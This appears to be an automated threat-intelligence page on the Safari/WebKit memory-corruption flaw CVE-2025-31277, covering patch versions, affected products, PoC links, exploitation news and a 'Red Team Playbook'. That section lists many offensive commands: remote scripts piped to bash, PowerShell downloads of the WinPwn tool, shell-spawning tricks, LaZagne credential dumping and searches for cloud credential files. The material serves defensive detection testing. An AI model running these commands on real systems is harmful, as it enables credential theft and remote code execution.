CVE-2025-31277
Overview
This vulnerability is a memory corruption flaw rooted in improper memory handling within Apple Safari's web content processing engine. Specifically, the flaw arises from unsafe operations related to buffer management when parsing or rendering crafted web content. The affected components include the Safari browser and its underlying web engine across multiple Apple operating systems, where memory safety checks are insufficient, leading to potential corruption of memory structures.
Vulnerability Description
The issue was addressed with improved memory handling. This issue is fixed in Safari 18.6, iOS 18.6 and iPadOS 18.6, macOS Sequoia 15.6, tvOS 18.6, visionOS 2.6, watchOS 11.6. Processing maliciously crafted web content may lead to memory corruption.
Impact
An attacker can exploit this vulnerability by enticing a user to visit a crafted web page, requiring only user interaction without prior authentication. Successful exploitation may lead to arbitrary code execution within the context of the browser, allowing the attacker to execute malicious code, compromise user data, or escalate privileges on the affected device. This can result in full system compromise, data theft, or persistent malware installation, severely impacting user privacy and device security.
Solution
Apple has addressed this vulnerability in Safari 18.6 and corresponding updates for iOS 18.6, iPadOS 18.6, macOS Sequoia 15.6, tvOS 18.6, visionOS 2.6, and watchOS 11.6. Users and administrators should apply these updates promptly. Detailed patch instructions and update downloads are available in Apple's official security advisories at https://support.apple.com/en-us/124147, https://support.apple.com/en-us/124149, and https://support.apple.com/en-us/124152.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
|
|
Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
|
|
|
Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
stationedK-06/DarkSword_analysis
Static analysis of the DarkSword iOS WebKit exploit chain — delivery, staging, and CVE breakdown (CVE-2025-31277, CVE-...
|
stationedK-06 | 2 | 0 | 2026-03-27 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
hoarseprairie/CVE-2025-31277-WebKit-Memory-Corruption-Patch-Bypass
Bypass of the official patch for CVE-2025-31277 (WebKit memory corruption). Allows triggering the original issue on patc...
|
hoarseprairie | 0 | 0 | 2026-10-30 | View |
Threat Feed
18 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Active exploitation confirmed with 25 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (31)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @qiancx.bsky.social 2026-07-01 22:54 UTC深入解析CVE-2025-31277:Safari内存处理漏洞及安全修复分析 https://qian.cx/posts/0760A5EB-9A98-44F1-9C73-F9A6D31D9DF7Open source
-
social bsky.app @kriptabiz.bsky.social 2026-07-01 22:54 UTCУязвимость CVE-2025-31277: угроза безопасности и способы защиты https://kripta.biz/posts/B2691EBE-1343-4B76-9B94-70CBD852B9E1Open source
-
advisory recordedfuture.com 2026-04-13 07:00 UTCMarch 2026 CVE Landscape: 31 High-Impact Vulnerabilities Identified, Interlock Ransomware Group Exploits Cisco FMC Zero-Day - Recorded FutureOpen source
-
social bsky.app @getpokemon7.bsky.social 2026-03-29 01:13 UTCCISAは、悪用された攻撃に対抗するため、連邦政府に対しDarkSword iOSの脆弱性を修正するよう命令した。 CISAは、DarkSwordエクスプロイトキットを使用した仮想通貨窃盗やサイバースパイ攻撃の標的となるiOSの3つの脆弱性を修正するよう、米国政府機関に命じた。 Google Threat Intelligence Group (GTIG) と iVerify の研究者が先週明らかにしたように、DarkSword 配信フレームワークは、CVE-2025-31…Open source
-
code github.com stationedK-06 2026-03-27 18:55 UTCstationedK-06/DarkSword_analysisOpen source
-
social bsky.app @pmloik.bsky.social 2026-03-26 02:29 UTCTop 3 CVE for last 7 days: CVE-2026-20131: 41 interactions CVE-2026-20963: 24 interactions CVE-2026-33068: 22 interactions Top 3 CVE for yesterday: CVE-2026-20131: 6 interactions CVE-2025-31277: 4 interactions CVE-2026-21717: 4 interactionsOpen source
-
social bsky.app @getpokemon7.bsky.social 2026-03-25 22:03 UTC米国CISAは、APPLE、LARAVEL、LIVEWIRE、CRAFT CMSの脆弱性を、既知の悪用脆弱性カタログに追加しました。 米国サイバーセキュリティ・インフラストラクチャー・セキュリティ機関(CISA)は、Apple、Laravel Livewire、Craft CMS の脆弱性を、既知の悪用脆弱性(KEV)カタログに追加しました。 以下はカタログに追加された欠陥です。 CVE-2025-31277(CVSSスコア8.8)Apple 複数製品 バッファオーバーフロ…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-03-25 22:00 UTCCISAはApple、Craft CMS、KEVにおけるLaravelのバグをフラグ付け、2026年4月3日までにパッチ適用を命じる 米国サイバーセキュリティ・インフラストラクチャー・セキュリティ機関(CISA)は金曜日、Apple、Craft CMS、Laravel Livewire に影響を及ぼす5つのセキュリティ脆弱性を、既知の悪用脆弱性(KEV)カタログに追加し、連邦機関に対し2026年4月3日までにそれらを修正するよう求めました。 以下に、悪用された脆弱性を列挙し…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-03-25 21:37 UTCCISA Adds Five Known Exploited Vulnerabilities to Catalog Release Date March 20, 2026 CVE-2025-31277 Apple Multiple Products Buffer Overflow Vulnerability CVE-2025-32432 Craft CMS Code Injection Vulnerability CVE-2025-43510 Apple Multiple…Open source
-
news lookout.com 2026-03-25 07:00 UTCWebKit and Kernel Vulnerabilities and DarkSword Exploit | Threat Intel - LookoutOpen source
-
news forbes.com 2026-03-24 07:00 UTCNew iOS Security Update 21 Day Warning Issued By CISA - ForbesOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-03-23 09:15 UTCCISA Warns of Apple Vulnerabilities Linked to DarkSword iOS Exploit Chain Exploited in AttacksOpen source
-
social bsky.app @technoholic.bsky.social 2026-03-23 07:29 UTCCISA added 5 exploited flaws to KEV, including Apple, Craft CMS, Laravel Livewire. Federal agencies must patch by April 3, 2026. Key: CVE-2025-31277 (Apple, CVSS 8.8).Open source
-
news bleepingcomputer.com 2026-03-23 07:00 UTCCISA orders feds to patch DarkSword iOS flaws exploited attacks - BleepingComputerOpen source
-
news cybersecuritynews.com 2026-03-23 07:00 UTCCISA Warns of Apple Vulnerabilities Linked to DarkSword iOS Exploit Chain Exploited in Attacks - CyberSecurityNewsOpen source
-
social bsky.app @postgoo.bsky.social 2026-03-22 22:00 UTCThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added five security flaws impacting Apple, Craft CMS, and Laravel Livewire to its Known Exploited Vulnerabilities (KEV) catalog, urging federal agencies to patch th…Open source
-
social bsky.app @hacker.at.thenote.app 2026-03-22 14:05 UTCCISA Flags Apple, Craft CMS, Laravel Bugs in KEV, Orders Patching by April 3, 2026 The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added five security flaws impacting Apple, Craft CMS, and Laravel Livewire to its…Open source
-
social bsky.app @yazoul-alerts.bsky.social 2026-03-22 07:33 UTCCISA just gave you a 2-year deadline. Attackers have a 2-day one. https://www.yazoul.net/news/news/cisa-flags-apple-craft-cms-laravel-bugs-in-kev-orders-patching-by-april-3-2026 #InfoSec #ThreatIntelOpen source
-
social bsky.app @beikokucyber.bsky.social 2026-03-21 21:03 UTC速報:共通脆弱性識別子CVE-2025-31277は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:cisa kev, vulncheck kev。Open source
-
social bsky.app @beikokucyber.bsky.social 2026-03-21 21:02 UTCCVE-2025-31277 has confirmed exploit code according to the following sources: cisa kev, vulncheck kev.Open source
-
social bsky.app @postac001.bsky.social 2026-03-21 09:27 UTCCISAはApple、Craft CMS、Laravelの脆弱性5件をKEVに追加。2026年4月3日までに連邦機関に修正を指示。CVE-2025-31277はApple製品に影響。Open source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-03-21 08:25 UTCOpen source
-
news thehackernews.com 2026-03-21 07:00 UTCCISA Flags Apple, Craft CMS, Laravel Bugs in KEV, Orders Patching by April 3, 2026 - The Hacker NewsOpen source
-
social bsky.app @cyfar.ca 2026-03-20 16:01 UTC~Cisa~ CISA added five actively exploited vulnerabilities to the KEV catalog, affecting Apple, Craft CMS, and Laravel. - IOCs: CVE-2025-31277, CVE-2025-32432, CVE-2025-54068 - #CISA #KEV #ThreatIntel #VulnerabilityOpen source
-
social bsky.app @cisa-feed-onblue.bsky.social 2026-03-20 15:30 UTCLatest post from CISAOpen source
-
social bsky.app @log.com.tr.web.brid.gy 2026-03-20 07:02 UTCOpen source
-
social bsky.app @beikokucyber.bsky.social 2026-03-19 21:02 UTC速報:共通脆弱性識別子CVE-2025-31277は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:vulncheck kev。Open source
-
social bsky.app @beikokucyber.bsky.social 2026-03-19 21:02 UTCCVE-2025-31277 has confirmed exploit code according to the following sources: vulncheck kev.Open source
-
news thehackernews.com 2026-03-19 07:00 UTCDarkSword iOS Exploit Kit Uses 6 Flaws, 3 Zero-Days for Full Device Takeover - The Hacker NewsOpen source
-
news cybersecuritynews.com 2026-03-18 07:00 UTCNew iOS Exploit With Advanced iPhone Hacking Tools Attacking Users to Steal Personal Data - CyberSecurityNewsOpen source
-
news hkcert.org 2025-07-30 07:00 UTCApple Products Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source